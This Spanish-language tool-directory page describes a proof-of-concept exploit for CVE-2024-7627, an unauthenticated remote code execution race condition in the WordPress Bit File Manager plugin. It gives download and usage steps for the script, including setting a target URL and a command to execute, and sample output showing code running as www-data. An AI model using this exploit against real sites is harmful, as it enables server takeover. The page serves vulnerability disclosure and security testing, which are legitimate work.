Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-7627-PoC — Script de prueba de concepto para el plugin de WordPress Bit File Manager versión 6.0 - 6.5.5: vulnerabilidad de ejecución remota de código no autenticada mediante condición de carrera (CVE-2024-7627) | Kitploit
Herramientas/GitHubGitHub/siunam321/cve-2024-7627-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubsiunam321/cve-2024-7627-poc

CVE-2024-7627-PoC

Script de prueba de concepto para el plugin de WordPress Bit File Manager versión 6.0 - 6.5.5: vulnerabilidad de ejecución remota de código no autenticada mediante condición de carrera (CVE-2024-7627)

Ver Repositorio
62hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-7627-PoC

Antecedentes

Este script de Prueba de Concepto (PoC) es para el plugin de WordPress Bit File Manager versión 6.0 - 6.5.5, que presenta una vulnerabilidad de Ejecución Remota de Código no autenticada mediante Condición de Carrera (CVE-2024-7627).

Información

Descripción:

El plugin Bit File Manager para WordPress es vulnerable a la Ejecución Remota de Código en las versiones 6.0 a 6.5.5 a través de la función 'checkSyntax'. Esto se debe a que escribe un archivo temporal en un directorio de acceso público antes de realizar la validación del archivo. Esto hace posible que atacantes no autenticados ejecuten código en el servidor si un administrador ha permitido permisos de lectura para Usuarios Invitados. (De https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition)

Detalles técnicos

Informe: https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/#flawedmissing-permission-check---bit-file-manager-rce-via-race-condition

Instalación

root@kitploit:~
wget https://raw.githubusercontent.com/siunam321/CVE-2024-7627-PoC/main/poc.py

Uso/Explotación

  • Requisito previo: el acceso de usuario invitado y el shortcode file-manager deben haber sido configurados previamente por el administrador

Actualice targetBaseUrl, fileManagerPostPath y/o commandToExecute del script de Python poc.py al valor deseado. Luego, ejecute python3 poc.py para ejecutar el script PoC.

Salida de ejemplo:

root@kitploit:~
└> python3 poc.py
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: f3128b289e
[*] Getting a random file's hash via elFinder command "open"...
[+] Found file "wp-config-sample.php" with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA"!
[*] Editing file with hash "l1_d3AtY29uZmlnLXNhbXBsZS5waHA" via elFinder command "put" and getting the edited temporary PHP file at "http://localhost/wp-content/uploads/file-managertemp.php"...
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[-] Failed to read the edited temporary PHP file in time
[+] We won the race condition! Here's the PHP payload result:
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
8d3b2776e8a6
Descargar herramienta